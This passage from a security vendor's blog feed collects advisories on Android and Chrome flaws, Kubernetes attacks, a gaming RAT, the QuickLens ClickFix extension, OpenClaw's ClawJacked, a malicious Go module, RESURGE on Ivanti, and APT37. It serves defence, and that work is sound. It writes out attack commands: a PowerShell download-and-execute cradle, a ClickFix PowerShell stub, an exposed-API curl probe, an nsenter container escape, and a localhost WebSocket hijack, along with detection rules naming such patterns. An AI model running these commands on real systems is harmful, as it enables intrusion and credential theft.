The fact that nearly half the Framework vulnerabilities carry 2025 CVE identifiers suggests these are backlogged fixes that were finally ready for release — a pattern that raises questions about patch pipeline efficiency.

Detection & Hunting

For MDM and endpoint security teams, here's what to look for:

title: Android Device Below March 2026 Patch Level
id: 3b8f2d1a-7c4e-4f9a-b2d1-5e6f7a8b9c0d
status: experimental
description: Detects Android devices that haven't applied the March 2026 security patch
logsource:
  product: android
  category: device_compliance
detection:
  selection:
    device.os: android
    device.patch_level|lt: '2026-03-01'
  condition: selection
level: high
tags:
  - attack.privilege_escalation
  - attack.t1068
  - cve.2026.21385

Enterprise MDM queries:

• Intune/Endpoint Manager: Filter devices where SecurityPatchLevel < 2026-03-05
• Google Workspace: Admin Console → Devices → filter by security patch level
• Qualcomm chipset exposure: Cross-reference device inventory against Qualcomm's 234 affected chipset list

Mitigation Steps

1. Patch immediately — apply 2026-03-05 patch level (covers both batches including the zero-day)
2. Prioritize Qualcomm devices — the actively exploited CVE-2026-21385 affects 234 chipsets; if your fleet includes Snapdragon-based devices, they're in scope
3. Enforce MDM compliance — block corporate resource access for devices below the March 2026 patch level
4. Monitor for exploitation — watch for unusual display driver crashes or kernel panics on Android endpoints, which could indicate exploitation attempts
5. Check OEM patch availability — Samsung, Pixel, and OnePlus typically ship fastest; other OEMs may lag by weeks

The Bigger Picture

129 patches in one month — the highest since 2018 — signals either a growing attack surface in Android or improved vulnerability discovery (likely both). The Qualcomm zero-day affecting 234 chipsets demonstrates why the Android ecosystem's fragmented patch delivery remains its Achilles' heel: Google can release patches, but OEMs control when devices actually receive them.

For defenders: treat Android patch management with the same urgency as Windows Patch Tuesday. The days of "phones are less targeted" are long gone.

Source: CyberScoop

Need help assessing your exposure? Request a Beta Tester Program — currently in open beta.

What Happened

Discovered by Gal Weizman of Palo Alto Networks Unit 42 in November 2025, the vulnerability affects Chrome versions prior to 143.0.7499.192 on Linux and 143.0.7499.193 on Windows/Mac. Google patched it in January 2026, but the implications for browser-based AI security are significant.

The core issue: Chrome grants the Gemini panel elevated permissions for multi-step AI operations — camera access, screenshot capabilities, local file reads. Extensions exploiting CVE-2026-0628 could hijack these privileges through script injection into the WebView context.

Technical Breakdown

The attack chain leverages the declarativeNetRequest API — the same API used legitimately by ad-blockers — to intercept requests destined for the Gemini panel. Here's the exploitation flow:

1. Malicious extension installed — disguised as a productivity tool or ad-blocker
2. Request interception — extension uses declarativeNetRequest to modify requests to gemini.google.com/app
3. Script injection — attacker injects JavaScript into the privileged Gemini WebView context
4. Privilege escalation — injected code inherits Gemini's elevated permissions

Once inside the Gemini context, the attacker gains:

• Camera and microphone access — live surveillance without user prompts
• Screenshot capability — capture any open website or tab
• Local file access — read files from the victim's filesystem
• Arbitrary code execution — run JavaScript with Gemini-level privileges at gemini.google[.]com/app

This is a textbook case of T1068 — Exploitation for Privilege Escalation applied to the browser extension model.

Detection & Hunting

SOC teams should hunt for extensions abusing declarativeNetRequest rules targeting Google AI endpoints. Here's a Sigma-style detection rule:

title: Suspicious Chrome Extension Targeting Gemini Panel
id: 7a2e4f1b-9c3d-4e5f-8a6b-1c2d3e4f5a6b
status: experimental
description: Detects Chrome extensions with declarativeNetRequest rules targeting Gemini/AI endpoints
logsource:
  product: chrome
  category: extension_install
detection:
  selection:
    extension.permissions|contains:
      - 'declarativeNetRequest'
    extension.host_permissions|contains:
      - 'gemini.google.com'
      - 'aistudio.google.com'
  condition: selection
level: high
tags:
  - attack.privilege_escalation
  - attack.t1068
  - cve.2026.0628

Additionally, monitor for these indicators in enterprise Chrome deployments:

• Extensions requesting both declarativeNetRequest and access to *.google.com origins
• WebView process spawns from extension contexts targeting AI panel URLs
• Unexpected camera/microphone permission grants from Gemini-related origins

Mitigation Steps

1. Patch immediately — update Chrome to 143.0.7499.192+ (Linux) or 143.0.7499.193+ (Windows/Mac)
2. Audit installed extensions — review all extensions with declarativeNetRequest permissions via chrome://extensions
3. Deploy Chrome Enterprise policies — restrict extension installation to allowlisted IDs using ExtensionInstallAllowlist
4. Monitor AI panel access — log and alert on Gemini panel interactions from extension contexts
5. Enable Chrome Enhanced Protection — chrome://settings/security → Enhanced protection

The Bigger Picture

This vulnerability highlights a growing attack surface: AI agents with elevated browser privileges. As browsers integrate more AI capabilities — Google Gemini, Microsoft Copilot, Apple Intelligence — each AI panel becomes a high-value target for extension-based attacks. The declarativeNetRequest API was designed for legitimate content filtering, but its ability to intercept and modify requests makes it a powerful tool for attackers when combined with AI panel privileges.

Security teams should treat browser AI integrations as privileged endpoints and apply zero-trust principles to extension permissions accordingly.

Source: The Hacker News

Need help assessing your exposure? Request a Beta Tester Program — currently in open beta.

If you're running K8s in production, here's what you need to know right now.

Why Kubernetes Is Under Fire

Kubernetes manages over 60% of containerized workloads globally. Its attack surface is vast: API servers, etcd datastores, kubelet endpoints, service accounts, and container runtimes all present distinct threat vectors. Attackers know that a single misconfigured RBAC policy can yield cluster-admin access.

Key attack trends in 2026:

• Exposed Kubernetes API servers on public internet (Shodan shows 380,000+ instances)
• Cryptojacking via pod deployment using stolen service account tokens
• Container escape exploits targeting runc and containerd CVEs
• Supply chain attacks through malicious Helm charts and container images

Technical Breakdown: Common Attack Chains

1. API Server Exploitation (T1190)

Unauthenticated access to the Kubernetes API server remains the most common initial access vector:

# Attacker discovers exposed API server
curl -sk https://target:6443/api/v1/namespaces/default/pods
# If anonymous auth enabled, full cluster access is possible

2. Privilege Escalation via Service Accounts (T1078.004)

Default service account tokens mounted in pods often have excessive permissions:

# Dangerous: pod with cluster-admin service account
apiVersion: v1
kind: Pod
spec:
  serviceAccountName: cluster-admin-sa
  containers:
  - name: attacker-pod
    image: alpine
    command: ["/bin/sh"]

3. Container Escape (T1611)

Privileged containers or those with hostPID/hostNetwork can break out to the node:

# From inside a privileged container
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Now running as root on the host node

Detection & Hunting

Sigma Rule: Suspicious Kubernetes API Access

title: Unauthorized Kubernetes API Server Access Attempt
status: experimental
logsource:
  product: kubernetes
  service: audit
detection:
  selection:
    verb:
      - create
      - patch
      - delete
    objectRef.resource:
      - pods
      - deployments
      - daemonsets
      - secrets
    user.username:
      - system:anonymous
      - system:unauthenticated
  condition: selection
level: critical
tags:
  - attack.initial_access
  - attack.t1190

Falco Rule: Container Escape Detection

- rule: Container Escape via nsenter
  desc: Detect nsenter usage indicating container breakout
  condition: >
    spawned_process and container and
    proc.name = "nsenter" and
    proc.args contains "--target 1"
  output: >
    Container escape attempt detected
    (user=%user.name container=%container.name
     command=%proc.cmdline image=%container.image.repository)
  priority: CRITICAL
  tags: [container, mitre_privilege_escalation, T1611]

Key Log Queries

Monitor your Kubernetes audit logs for these patterns:

# Anonymous API access
objectRef.resource="secrets" AND user.username="system:anonymous"

# Pod creation with host namespaces
requestObject.spec.hostPID=true OR requestObject.spec.hostNetwork=true

# Service account token theft
objectRef.resource="serviceaccounts/token" AND verb="create"

MITRE ATT&CK Mapping

Hardening Checklist

Immediate actions:

• Disable anonymous authentication on the API server (--anonymous-auth=false)
• Enable RBAC and apply least-privilege policies — never use cluster-admin for workloads
• Restrict pod security with Pod Security Standards (PSS) in restricted mode
• Rotate service account tokens and disable auto-mounting where not needed
• Network policies: deny all ingress/egress by default, allow explicitly
• Enable audit logging with at least Metadata level for all resources

Supply chain hardening:

• Scan container images with Trivy or Grype before deployment
• Use signed images with Cosign/Sigstore verification
• Pin image digests instead of tags in production manifests
• Audit Helm charts and third-party operators before installation

Runtime protection:

• Deploy Falco or Tetragon for runtime threat detection
• Monitor for privileged container launches and host namespace access
• Alert on anomalous network connections from pods
• Implement resource quotas to limit cryptomining impact

Summary

Kubernetes security requires defense in depth: secure the API server, enforce least-privilege RBAC, lock down pod security, and monitor runtime behavior. The detection rules above give your SOC team immediate visibility into the most common K8s attack patterns.

Need help assessing your Kubernetes security posture? Apply to our Beta Tester Program — limited slots available.

Microsoft Threat Intelligence has issued a warning about a campaign targeting gamers through fake versions of popular tools like Xeno and Roblox PlayerBeta. These trojanized executables are being distributed through browsers and chat platforms, delivering a sophisticated multi-stage Remote Access Trojan (RAT).

What makes this campaign dangerous is its abuse of Living-off-the-Land Binaries (LOLBins) and PowerShell — legitimate Windows tools that bypass many security solutions.

How the Attack Works

The infection follows a carefully staged chain:

Stage 1 — The Lure

Victims download what appears to be a legitimate gaming utility (Xeno.exe or RobloxPlayerBeta.exe). These files are distributed through gaming forums, Discord servers, and direct browser downloads.

Stage 2 — Payload Delivery

The initial executable acts as a downloader. It installs a portable Java runtime and launches jd-gui.jar — a malicious Java archive that continues the infection chain.

Stage 3 — PowerShell Execution

PowerShell scripts reach out to remote infrastructure (including PythonAnywhere-hosted endpoints) and download update.exe to the local AppData directory.

# Simplified representation of the attack pattern
# Actual commands are obfuscated in the wild
powershell -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('hxxps://[REDACTED]')"

Stage 4 — LOLBin Abuse

The campaign abuses cmstp.exe (Microsoft Connection Manager Profile Installer) — a signed Windows binary — to execute malicious actions while appearing legitimate to security tools.

Stage 5 — Persistence

The RAT establishes persistence through:

• Scheduled tasks for recurring execution
• Startup scripts (world.vbs) for boot persistence
• Defender exclusions — the malware modifies Microsoft Defender settings to whitelist its own components

MITRE ATT&CK Mapping

Detection Strategies

For Security Teams

1. Monitor PowerShell Activity

Look for encoded commands, IEX calls, and downloads from unusual domains:

# Sigma-style detection
title: Suspicious PowerShell Download Pattern
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'DownloadString'
      - 'IEX'
      - '-EncodedCommand'
    ParentImage|endswith:
      - '\java.exe'
      - '\javaw.exe'
  condition: selection

2. Watch for LOLBin Abuse

Alert on cmstp.exe executing outside normal administrative contexts.

3. Audit Defender Exclusions

Regularly check for unauthorized exclusion entries:

Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

4. Hunt for Persistence

Search for unexpected .vbs files in startup locations and suspicious scheduled tasks.

For Gamers

• Only download tools from official sources — never from random Discord links or forum posts
• Verify file hashes before running executables
• Enable Windows Defender and don't approve exclusion prompts you didn't initiate
• Check Task Manager for unexpected processes after installing new tools

The Bigger Picture

This campaign highlights a growing trend: attackers targeting gaming communities as an entry point. Gamers often disable security tools for performance, run executables from unverified sources, and have always-on systems — making them ideal targets.

The use of LOLBins like cmstp.exe is particularly concerning because these are signed Microsoft binaries that many EDR solutions trust by default. Organizations should implement application control policies that monitor LOLBin usage patterns, not just block unsigned executables.

Need help assessing your exposure? Apply to our Beta Tester Program at theinsider-x.com — limited slots available.

A popular Chrome extension called QuickLens — Search Screen with Google Lens has been removed from the Chrome Web Store after being compromised to push malware via ClickFix social engineering attacks and steal cryptocurrency from thousands of users.

On February 17, 2026, version 5.8 of QuickLens was released containing malicious scripts that introduced ClickFix-style fake prompts and info-stealing capabilities. Google has since removed the extension and Chrome now automatically disables it for affected users.

How the Attack Works

The compromise follows a multi-stage attack chain combining supply chain poisoning with social engineering:

Stage 1: Extension Compromise

The legitimate QuickLens extension was updated with malicious code — either through a compromised developer account or a supply chain attack on the extension's build pipeline. Users received the malicious update automatically through Chrome's extension auto-update mechanism.

Stage 2: C2 Contact

The injected payload contacts google-update[.]icu, a domain designed to look like legitimate Google infrastructure. The C2 server responds with a secondary payload.

Stage 3: ClickFix Social Engineering

The second-stage payload displays a fake Google Update prompt. When users click the update button, they are shown a ClickFix attack — a fake verification dialog that tricks users into running malicious code on their system.

Fake prompt: "Google Chrome needs to verify you are human"
→ Instructs user to: Win+R → Paste clipboard → Enter
→ Clipboard contains: powershell -e [base64 encoded payload]

Stage 4: AMOS Stealer Deployment

Reports indicate that macOS users were targeted with AMOS (Atomic Stealer), a well-known infostealer that targets:

• Browser-stored passwords and cookies
• Cryptocurrency wallet data and private keys
• Keychain credentials
• Desktop files and documents

Why ClickFix Is So Effective

ClickFix has become one of the most successful social engineering techniques in 2026, responsible for delivering 59% of identified malware families in browser-based attacks. The technique works because:

1. Bypasses browser security — the user manually executes the payload
2. Looks legitimate — mimics real browser update or verification prompts
3. Exploits trust — appears to come from Google Chrome itself
4. Avoids detection — no file download, payload runs from clipboard
5. Cross-platform — variants target both Windows (PowerShell) and macOS (Terminal)

The Bigger Picture: 337K Users Compromised

QuickLens is part of a larger wave of malicious Chrome extensions targeting cryptocurrency. Recent research found 337,000+ Chrome users compromised across multiple campaigns with capabilities including:

• Theft across 22 different browser types
• Private key and wallet address extraction
• OAuth2 token extraction from Chromium browsers
• Telegram and Discord data theft
• VPN configuration harvesting

These operations originated from 15 countries including the US, Canada, India, Japan, and across Europe.

MITRE ATT&CK Mapping

Indicators of Compromise

Detection & Hunting

Browser Extension Audit

# List all Chrome extensions with version info (Windows)
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" -Recurse -Filter "manifest.json" |
  ForEach-Object { $m = Get-Content $_ | ConvertFrom-Json; "$($m.name) v$($m.version)" }

Network Detection

title: ClickFix C2 Domain Contact
logsource:
  category: dns
detection:
  selection:
    query|endswith:
      - 'google-update.icu'
      - '-update.icu'
      - '-verify.icu'
  condition: selection
level: high

PowerShell ClickFix Execution

title: ClickFix PowerShell Clipboard Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'powershell'
      - '-e '
    ParentImage|endswith:
      - '\explorer.exe'
      - '\cmd.exe'
  filter:
    CommandLine|contains: 'WindowsUpdate'
  condition: selection and not filter
level: high

Immediate Actions

1. Check your extensions — go to chrome://extensions and remove QuickLens immediately
2. Scan for malware — run a full system scan with updated AV
3. Reset all browser passwords — assume stored credentials are compromised
4. Move crypto to new wallets — if you used browser-based wallets, generate new keys and transfer funds
5. Enable 2FA everywhere — especially on exchanges and financial accounts
6. Review OAuth tokens — revoke any suspicious app authorizations
7. Monitor accounts — watch for unauthorized transactions for the next 30 days

Lessons for Defenders

The QuickLens incident reinforces a critical truth: browser extensions are supply chain attack vectors. Organizations should:

• Maintain an allowlist of approved extensions via Chrome Enterprise policies
• Block side-loading and limit extension permissions
• Monitor for ClickFix indicators — clipboard-to-PowerShell execution patterns
• Educate users that legitimate services never ask you to run commands via Win+R or Terminal

Need help assessing your exposure? Request a free penetration test — currently in open beta.

Oasis Security has disclosed ClawJacked, a high-severity vulnerability in OpenClaw — a popular open-source AI agent framework. The flaw allows any website a user visits to silently hijack locally running AI agents through WebSocket connections, granting attackers full control over the agent and all its connected integrations.

The vulnerability was patched in OpenClaw version 2026.2.25, released February 26, 2026 — within 24 hours of responsible disclosure.

Technical Breakdown

ClawJacked exploits a fundamental trust assumption: OpenClaw relaxes security mechanisms for localhost connections, including silent device registration approval. The attack chain works in four steps:

Step 1: WebSocket Connection

When a user visits a malicious webpage, JavaScript on the page opens a WebSocket connection to localhost on the OpenClaw gateway port. Browsers do not block localhost WebSocket connections — no CORS restrictions apply.

// Attacker's page — connects to local AI agent
const ws = new WebSocket('ws://localhost:OPENCLAW_PORT');

Step 2: Password Brute-Force

OpenClaw's gateway has no rate-limiting on authentication attempts. The attacker's script rapidly brute-forces the gateway password through the WebSocket connection.

Step 3: Silent Device Registration

After authentication, the attacker registers as a trusted device. Because the connection comes from localhost, the gateway auto-approves the registration without prompting the user.

Step 4: Full Compromise

With admin-level access, the attacker can:

• Execute tasks through the AI agent across all connected platforms
• Extract configuration data including API keys and secrets
• Enumerate connected nodes and discover internal infrastructure
• Access application logs containing sensitive operational data
• Pivot laterally to any system the agent has access to

Related CVEs

While ClawJacked itself has no assigned CVE, OpenClaw has recently patched multiple critical vulnerabilities:

MITRE ATT&CK Mapping

Indicators of Compromise

Watch for these IOCs associated with ClawJacked exploitation campaigns:

• IP: 91.92.242[.]30 — Atomic Stealer payload distribution
• Domain: openclawcli.vercel[.]app — malicious skill installation lure
• Actor: @liuhui1010 — ClawHub comment campaign distributing malicious skills

Detection & Hunting

Network-Based Detection

Monitor for unexpected WebSocket connections to localhost from browser processes:

# Sigma-style rule: Browser process connecting to localhost WebSocket
title: Suspicious Localhost WebSocket from Browser
logsource:
  category: network_connection
detection:
  selection:
    DestinationIp: '127.0.0.1'
    SourceImage|endswith:
      - 'chrome.exe'
      - 'firefox.exe'
      - 'msedge.exe'
  condition: selection
level: medium

Host-Based Detection

Look for OpenClaw gateway device registration events without user interaction:

# Check OpenClaw logs for auto-approved device registrations
grep -i "device.*registered.*auto" /var/log/openclaw/*.log
# Monitor WebSocket connection volume to localhost
ss -tlnp | grep -E 'LISTEN.*localhost'

Mitigation

1. Update immediately to OpenClaw version 2026.2.25 or later
2. Audit agent permissions — review what systems your AI agents can access
3. Enforce rate-limiting on all authentication endpoints
4. Disable auto-approve for device registration, even from localhost
5. Deploy on isolated systems — never run AI agent gateways on developer workstations
6. Use dedicated, non-privileged credentials for agent integrations
7. Monitor continuously for unauthorized device registrations

The Bigger Picture

ClawJacked highlights a growing attack surface: AI agent frameworks that trust localhost connections. As organizations deploy AI agents with access to internal tools, databases, and APIs, the blast radius of a single compromised agent grows exponentially.

The lesson is clear — treat AI agents as privileged identities. Apply the same zero-trust principles you use for service accounts: least privilege, continuous monitoring, and never assume that localhost equals trust.

Need help assessing your exposure? Request a free penetration test — currently in open beta.

Autonomous AI agents can execute shell commands, modify files, and access APIs — but what stops them from going rogue? IronCurtain is a new open-source security layer that intercepts every agent action before execution, preventing prompt injection attacks and agentic drift.

The Problem: Unchecked AI Agents

AI agents like Claude Code, custom MCP-powered tools, and LLM-based automation are increasingly autonomous. They read files, run commands, call APIs, and make decisions. This power creates a new attack surface:

• Prompt injection: Malicious input hijacks the agent to exfiltrate data, steal credentials, or modify code
• Agentic drift: Over extended sessions, agents gradually deviate from user intent
• Credential exposure: Agents with broad tool access can leak OAuth tokens, API keys, or environment variables

There's currently no standardized security layer between AI agents and system resources. IronCurtain fills that gap.

What Is IronCurtain?

Built by veteran security engineer Niels Provos, IronCurtain is an open-source security framework that acts as a trusted proxy between AI agents and their tools. Every tool call is intercepted, evaluated against security policies, and either allowed, denied, or escalated to human review.

GitHub: github.com/provos/ironcurtain

Four-Layer Isolation Architecture

IronCurtain implements defense in depth through four isolation layers:

Every agent — whether a direct LLM session or Claude Code in a Docker container — goes through the same pipeline.

Constitution-Based Policy Compilation

Instead of writing security rules in code, users define a "constitution" — guiding principles in plain English:

"The agent may only read files in /project/src. It must never access .env files, credentials, or modify its own configuration."

The compilation pipeline:

1. Write — Define security principles in natural language
2. Compile — LLM translates English into typed security rules with verified primitives
3. Test — Scenario generator identifies policy gaps
4. Verify — Validator confirms rules match original intent
5. Refine — Iterative loop until alignment is confirmed

What IronCurtain Blocks

• Filesystem boundary violations — Access outside allowed paths
• Credential theft — OAuth tokens, API keys, service account secrets
• Environment variable exfiltration — Blocks env, printenv, and similar
• Self-modification — Cannot alter its own policy files, audit logs, or configuration
• Unknown tools — Rejects any tool call not explicitly registered

Integration Flow

User Prompt → AI Agent → IronCurtain Proxy → Policy Check
                              ├── ALLOW    → MCP Server → Execute
                              ├── DENY     → Block + Audit Log
                              └── ESCALATE → Human Review → Approve/Deny

MITRE ATT&CK Relevance

Prompt injection is becoming the new SQLi — untrusted input leading to unauthorized actions. Just as WAFs protect web applications, IronCurtain protects AI agent operations.

Why This Matters

As AI agents become autonomous workers handling real infrastructure, security frameworks like IronCurtain become essential. The MCP protocol is seeing rapid adoption, and without a security layer between agents and tools, every MCP server is a potential attack surface.

IronCurtain's open-source model means community-driven security evolution — exactly what this emerging threat landscape needs.

Need help assessing your exposure? Apply to our Beta Tester Program at theinsider-x.com — limited slots available.

Sources: HelpNetSecurity (2026-02-27), Niels Provos, github.com/provos/ironcurtain

A malicious Go module named github.com/xinfeisoft/crypto has been discovered impersonating the widely-used golang.org/x/crypto library. The module intercepts SSH password input, exfiltrates credentials to attacker infrastructure, and deploys the Rekoobe backdoor — a Linux trojan historically linked to the Chinese state-sponsored group APT31.

The Go security team has since blocked the package on pkg.go.dev, but the attack highlights a growing trend: supply chain compromises targeting developer toolchains rather than production systems directly.

How the Attack Works

Phase 1: Credential Theft via ReadPassword() Hook

The backdoor is embedded in ssh/terminal/terminal.go, specifically in the ReadPassword() function. Any application importing this module that prompts for SSH passwords will silently send captured credentials to an attacker-controlled endpoint.

Phase 2: Shell Script Delivery

After exfiltrating credentials, the module fetches and executes a shell script:

• Appends threat actor SSH keys to /home/ubuntu/.ssh/authorized_keys
• Modifies iptables default policies to ACCEPT (disabling firewall)
• Downloads additional payloads disguised with .mp5 extensions

Phase 3: Rekoobe Backdoor

The final payload is Rekoobe, a Linux backdoor active since 2015, linked to APT31. It provides remote command execution, file exfiltration, reverse shell capability, and additional malware staging.

Detection & Hunting

MITRE ATT&CK Mapping

IOCs

Mitigation

1. Audit Go dependencies: go list -m all | grep xinfeisoft
2. Pin module checksums with go.sum verification
3. Monitor ~/.ssh/authorized_keys changes with FIM
4. Alert on iptables policy changes to ACCEPT
5. Hunt for connections to 154.84.63.184:443

Need help assessing your exposure? Apply to our Beta Tester Program for a comprehensive penetration test.

If your organization runs Ivanti Connect Secure, Policy Secure, or ZTA Gateways, this is a must-read.

What Is RESURGE?

RESURGE is a sophisticated Linux implant that combines the capabilities of a rootkit, backdoor, bootkit, dropper, proxy, and tunneler — all in a single shared library (libdsupgrade.so). It was discovered on a critical infrastructure entity's Ivanti Connect Secure device after exploitation of CVE-2025-0282, a stack-based buffer overflow enabling remote code execution.

RESURGE is the evolution of the SPAWNCHIMERA malware family, which itself consolidated four earlier tools: SPAWNANT, SPAWNMOLE, SPAWNSNAIL, and SPAWNSLOTH. RESURGE adds three entirely new command sets that its predecessors lacked.

Attribution: UNC5337 (China-nexus espionage) and Silk Typhoon (formerly Hafnium).

Why RESURGE Is Dangerous: The Dormancy Problem

CISA's updated analysis (February 26, 2026) reveals the critical finding: RESURGE uses a passive C2 model. Instead of beaconing out to a server (which network monitoring would catch), it:

1. Hooks the accept() function in Ivanti's web process
2. Inspects every incoming TLS connection
3. Computes a CRC32 fingerprint of the TLS ClientHello random field
4. If the fingerprint matches → routes to malicious handler
5. If not → forwards to legitimate Ivanti server transparently

This means RESURGE generates zero outbound C2 traffic. It sits dormant until an operator connects to the device's normal HTTPS port with a specially crafted TLS handshake. Standard network monitoring sees nothing.

Technical Deep-Dive

The TLS Authentication Trick

RESURGE's operator authentication is remarkably sophisticated:

1. ClientHello fingerprint: CRC32 hash of the final 28 bytes in the TLS random field, byte-swapped, compared against the first 4 bytes
2. ServerHello spoofing: Responds with a forged Ivanti certificate (CN: va1.Ivanti.net, issued Jul 15 2024)
3. Mutual TLS: Establishes encrypted channel using P-521 ECC with hardcoded keys
4. SSH tunnel: Embeds a statically-linked libssh server for interactive access

All of this happens over the device's legitimate HTTPS port — no extra ports, no suspicious connections.

Three Command Sets

Command Set 1 — System Persistence:

• Injects into ld.so.preload for automatic loading
• Generates RSA-2048 keys for SSH access
• Deploys web shell at compcheckresult.cgi
• Modifies system manifests with valid SHA-256 checksums
• Disables integrity verification in check_integrity.sh

Command Set 2 — Bootkit (Survives Factory Reset):

• Extracts vmlinux from kernel images
• Decrypts and decompresses the coreboot RAM disk
• Injects malware into boot initialization
• Re-encrypts the modified filesystem
• Persists across reboots and system updates

Command Set 3 — Scanner Evasion:

• Patches scanner.py and scanner_legacy.py
• Replaces mismatch detection counters with pass statements
• Disables Ivanti's built-in integrity checking

Associated Malware

Indicators of Compromise

File Hashes (SHA-256)

File System Indicators

/home/runtime/tmp/.logsrv          # RESURGE IPC socket
/tmp/.liblogblock.so               # SPAWNSLOTH staging
/tmp/data/                         # Temporary workspace
Modified: ld.so.preload            # Library injection
Modified: scanner.py               # Integrity check disabled
Modified: check_integrity.sh       # Verification bypass
Web shell: compcheckresult.cgi     # Remote access

Network Indicators

• Forged TLS certificate with CN: va1.Ivanti.net
• P-521 ECC certificate exchanges on HTTPS port
• CRC32-based TLS ClientHello fingerprinting

MITRE ATT&CK Mapping

Detection & Hunting

YARA Rules (CISA-provided)

• CISA_25993211_01 — RESURGE detection
• CISA_25993211_02 — SPAWNSLOTH detection
• CISA_25239228_04 — SPAWNSNAIL detection

Sigma Rule — RESURGE Persistence

title: RESURGE Ivanti Implant - ld.so.preload Injection
status: experimental
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename:
            - '/etc/ld.so.preload'
            - '/home/runtime/tmp/.logsrv'
    selection_web_shell:
        TargetFilename|endswith: 'compcheckresult.cgi'
    condition: selection or selection_web_shell
level: critical
tags:
    - attack.persistence
    - attack.t1547.013
    - attack.t1505.003

Network Detection

title: RESURGE Forged Ivanti TLS Certificate
status: experimental
logsource:
    category: proxy
detection:
    selection:
        tls.server.subject.cn: 'va1.Ivanti.net'
        tls.server.not_before: '2024-07-15*'
    condition: selection
level: critical
tags:
    - attack.command_and_control
    - attack.t1556

Remediation Steps

1. Immediately scan all Ivanti Connect Secure devices for the IOCs listed above
2. Check for the .logsrv socket file and modified ld.so.preload
3. Verify scanner.py hasn't been patched to disable integrity checks
4. Do NOT trust factory resets — RESURGE's bootkit survives them
5. Restore from known-clean firmware images
6. Reset ALL credentials (domain and local accounts)
7. Rotate certificates and access keys
8. Monitor for forged va1.Ivanti.net TLS certificates

Affected versions: Ivanti Connect Secure < 22.7R2.5, Policy Secure < 22.7R1.2, Neurons for ZTA < 22.7R2.3

Running Ivanti VPN appliances? Find out if you're exposed with a free penetration test — currently in open beta.

References:

• CISA MAR-25993211-r1.v2: RESURGE Analysis
• The Hacker News: RESURGE Malware Exploits Ivanti Flaw
• Google Cloud: Ivanti Connect Secure Zero-Day

This isn't a story about sophisticated zero-days. It's about social engineering at scale — and why your help desk is your weakest link.

What Is The Com?

The Com is not a single gang — it's a loose ecosystem of young cybercriminals who recruit and radicalize each other across Discord, Telegram, gaming platforms, and social media. Members range from teenagers to young adults, primarily based in English-speaking countries.

What makes The Com dangerous is its connections. Members have operated under or alongside some of the most notorious cybercrime brands:

• Scattered Spider (UNC3944/Octo Tempest) — help-desk social engineering specialists
• LAPSUS$ (DEV-0537) — insider recruitment and source code theft
• ShinyHunters (UNC6040) — large-scale data harvesting and extortion

In 2025, these groups merged into an alliance calling themselves Scattered LAPSUS$ Hunters (SLH), claiming over 60 million breached records.

The Attack Playbook

Not a single attack attributed to these groups started with an endpoint exploit or network vulnerability. Every breach began with account takeover through social engineering.

Primary Technique: Vishing (Voice Phishing)

Attackers call target organizations posing as IT support staff. They convince employees to:

• Reset MFA tokens
• Approve malicious OAuth integrations
• Provide VPN credentials
• Grant remote access

The group has deployed AI-driven voice agents for automated vishing at scale, and actively recruits women for voice phishing campaigns, paying up to $1,000 per call.

Post-Compromise Toolkit

Once inside, The Com operators follow a consistent playbook:

Notable Victims

Project Compass: The Takedown

Launched in January 2025 by Europol's European Counter Terrorism Centre (not cybercrime unit — that's significant), Project Compass coordinates:

• 28 countries including all EU member states
• Five Eyes alliance (US, UK, Canada, Australia, New Zealand)
• Norway and Switzerland
• FBI and Homeland Security Investigations
• UK Counter Terrorism Policing and NCA

Results After One Year

The fact that Europol's counter-terrorism division leads this — not the cybercrime unit — reflects how The Com has evolved beyond pure hacking into physical violence, sextortion of minors, and connections to violent extremist groups.

MITRE ATT&CK Mapping

Detection & Defense

Why Traditional Security Fails

These attacks bypass every technical control because they target humans, not systems. EDR won't catch a phone call. Firewalls don't block social engineering.

What Actually Works

1. Help Desk Hardening

• Implement callback verification for all credential resets
• Require video verification for high-privilege account changes
• Never reset MFA based on a phone call alone

2. MFA Architecture

• Deploy phishing-resistant MFA (FIDO2/WebAuthn)
• Disable SMS-based MFA entirely (SIM swapping risk)
• Set MFA prompt rate limits to prevent fatigue attacks

3. Monitoring for Post-Compromise

# Detection priorities:
- OAuth application registrations from new principals
- RMM tool installations (ScreenConnect, TeamViewer, Splashtop)
- Office 365 mail transport rule modifications
- NTDS.dit access or ntdsutil execution
- AWS IMDS queries from unusual processes
- Bulk data access patterns after credential reset events

4. Insider Threat Program

• Monitor for recruitment outreach on Telegram/Discord
• Track employees accessing systems outside normal patterns
• Implement data loss prevention for source code repositories

The Bigger Picture

The Com represents a paradigm shift in cybercrime. These aren't Russian organized crime syndicates or Chinese APT groups — they're Western teenagers who learned to hack through gaming communities and social media.

Their weapon of choice isn't malware. It's a phone call.

Project Compass is a start, but with 179 suspects identified and only 30 arrested, the network is far from dismantled. The decentralized structure means new members are constantly being recruited through the same platforms where they socialize.

For defenders, the lesson is clear: invest in people and process, not just technology. The most expensive SIEM in the world won't stop an employee from giving away credentials over the phone.

Think your help desk could withstand a vishing attack? Find out with a free penetration test — currently in open beta.

References:

• Europol: Project Compass Results
• Infosecurity Magazine: Project Compass Arrests
• Picus Security: Scattered LAPSUS$ Hunters Analysis

This is a masterclass in nation-state tradecraft. Here's the full technical breakdown.

The Infection Chain

Ruby Jumper starts with a malicious .LNK shortcut file. When opened, it triggers PowerShell to carve embedded payloads from fixed offsets within the LNK itself — a technique that avoids dropping files to disk initially.

The chain progresses through four stages:

Stage 1 — RESTLEAF (Initial Implant)

RESTLEAF executes entirely in memory via shellcode injection. What makes it notable: it uses Zoho WorkDrive as its C2 channel. The implant authenticates using hardcoded OAuth credentials, then downloads shellcode from a file called AAA.bin and creates beacon files with a lion [timestamp] pattern.

This is the first documented case of APT37 abusing Zoho WorkDrive — adding to their history of hijacking legitimate cloud services.

Stage 2 — SNAKEDROPPER (Persistence)

Once RESTLEAF pulls down the next payload, SNAKEDROPPER takes over. It:

• Extracts an embedded Ruby 3.3.0 runtime from ruby3.zip
• Installs it to %PROGRAMDATA%\usbspeed, renaming rubyw.exe to usbspeed.exe
• Replaces Ruby's legitimate operating_system.rb with malicious code
• Creates a scheduled task rubyupdatecheck that runs every 5 minutes

